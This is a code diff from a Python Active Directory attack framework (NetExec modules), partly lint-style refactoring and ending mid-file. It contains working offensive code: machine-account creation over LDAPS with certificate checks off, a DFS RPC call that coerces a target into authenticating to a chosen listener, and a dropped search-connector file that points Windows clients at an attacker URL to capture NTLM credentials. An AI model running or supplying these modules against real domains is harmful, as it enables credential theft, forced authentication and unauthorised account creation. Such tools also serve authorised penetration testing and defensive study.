'HOST/%s.%s' % (self.__computerName, connection.domain),
'RestrictedKrbHost/%s' % self.__computerName,
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
]
ucd = {
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
c.bind()
if (self.__delete):
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
if result:
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
elif result == False and c.last_error == "noSuchObject":
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
elif result == False and c.last_error == "insufficientAccessRights":
context.log.highlight(
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
else:
context.log.highlight(u'{}'.format(
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
else:
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
if result:
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
context.log.highlight(u'{}'.format(
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
elif result == False and c.last_error == "entryAlreadyExists":
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
elif not result:
context.log.highlight(u'{}'.format(
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
c.unbind()
-87
View File
@@ -1,87 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
if context.local_auth:
domain = connection.conn.getServerDNSDomainName()
else:
domain = connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
driver.close()
+114 -151
View File
@@ -10,6 +10,7 @@ from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -64,7 +65,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@@ -73,24 +74,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
@@ -188,15 +189,15 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
class NXCModule:
"""
Module to read and backup the Discretionary Access Control List of one or multiple objects.
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@@ -207,29 +208,35 @@ class NXCModule:
def options(self, context, module_options):
"""
Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
PRINCIPAL The trustee that we want to filter on
ACTION The action to realise on the DACL (read, backup)
ACE_TYPE The type of ACE to read (Allowed or Denied)
RIGHTS An interesting right to filter on ('FullControl', 'ResetPassword', 'WriteMembers', 'DCSync')
RIGHTS_GUID A right GUID that specify a particular rights to filter on
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
exit(1)
sys.exit(1)
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"], "r")
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception as e:
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
@@ -264,11 +271,9 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
"""
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
@@ -279,20 +284,16 @@ class NXCModule:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][
1
][0][
1
][0]
)[0][1][0][1][0]
)
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
except Exception as e:
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1)
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
# Searching for the targets SID and their Security Decriptors
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
@@ -302,10 +303,10 @@ class NXCModule:
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
if self.action == "read":
self.read(context)
@@ -324,9 +325,9 @@ class NXCModule:
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e:
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
@@ -339,7 +340,6 @@ class NXCModule:
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
return
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
@@ -348,7 +348,7 @@ class NXCModule:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-%s-%s.bak" % (
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
@@ -366,7 +366,7 @@ class NXCModule:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
@@ -374,61 +374,54 @@ class NXCModule:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception as e:
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0)
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception as e:
context.log.fail("User not found in LDAP: %s" % samname)
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS.keys():
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
dn = self.ldap_session.search(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[
0
][0]
samname = self.ldap_session.search(
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][
1
][0][
1
][0]
return samname
except Exception as e:
context.log.debug("SID not found in LDAP: %s" % sid)
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
@@ -445,17 +438,12 @@ class NXCModule:
# Parses an access mask to extract the different values from a simple permission
# https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
# - fsr : the access mask to parse
def parse_perms(self, fsr):
_perms = []
for PERM in SIMPLE_PERMISSIONS:
if (fsr & PERM.value) == PERM.value:
_perms.append(PERM.name)
fsr = fsr & (not PERM.value)
for PERM in ACCESS_MASK:
if fsr & PERM.value:
_perms.append(PERM.name)
return _perms
def parse_perms(self, access_mask):
perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
# use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
return perms
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
@@ -467,86 +455,59 @@ class NXCModule:
"ACCESS_DENIED_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
parsed_ace = {}
parsed_ace["ACE Type"] = ace["TypeName"]
# Retrieves ACE's flags
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
# For standard ACE
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
parsed_ace["Access mask"] = "%s (0x%x)" % (
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
ace["Ace"]["Mask"]["Mask"],
)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
# For object-specific ACE
elif ace["TypeName"] in [
"ACCESS_ALLOWED_OBJECT_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
}
elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: # for object-specific ACE
# Extracts the mask values. These values will indicate the ObjectType purpose
_access_mask_flags = []
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
_access_mask_flags.append(FLAG.name)
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
parsed_ace["Access mask"] = ", ".join(access_mask_flags)
# Extracts the ACE flag values and the trusted SID
_object_flags = []
for FLAG in OBJECT_ACE_FLAGS:
if ace["Ace"].hasFlag(FLAG.value):
_object_flags.append(FLAG.name)
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
parsed_ace["Flags"] = ", ".join(object_flags) or "None"
# Extracts the ObjectType GUID values
if ace["Ace"]["ObjectTypeLen"] != 0:
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
try:
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[obj_type],
obj_type,
)
parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
except KeyError:
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
# Extracts the InheritedObjectType GUID values
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
try:
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type],
inh_obj_type,
)
parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
except KeyError:
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else:
# If the ACE is not an access allowed
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
parsed_ace = {}
parsed_ace["ACE type"] = ace["TypeName"]
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
"ACE flags": ", ".join(_ace_flags) or "None",
"DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
}
return parsed_ace
# Prints a full DACL by printing each parsed ACE
# - parsed_dacl : a parsed DACL from parse_dacl()
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
@@ -554,6 +515,8 @@ class NXCModule:
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@@ -566,7 +529,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -574,7 +537,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -582,13 +545,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -596,7 +559,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
+20 -30
View File
@@ -1,11 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
@@ -23,9 +20,7 @@ class NXCModule:
self.listener = None
def options(self, context, module_options):
"""
LISTENER Listener Address (defaults to 127.0.0.1)
"""
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
@@ -38,9 +33,9 @@ class NXCModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
@@ -64,13 +59,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@@ -104,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
@@ -117,23 +109,23 @@ class TriggerAuth:
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
# rpctransport.setRemoteHost(target)
rpctransport.set_kerberos(doKerberos, kdcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
@@ -141,13 +133,11 @@ class TriggerAuth:
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = "%s\x00" % listener
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
# logger.debug(request.dump())
resp = dce.request(request)
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
+19 -24
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
import tempfile
@@ -47,22 +44,21 @@ class NXCModule:
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
if not self.cleanup:
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
scfile = open(self.scfile_path, "w")
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write("<url>{}</url>".format(self.url))
scfile.write("</simpleLocation>")
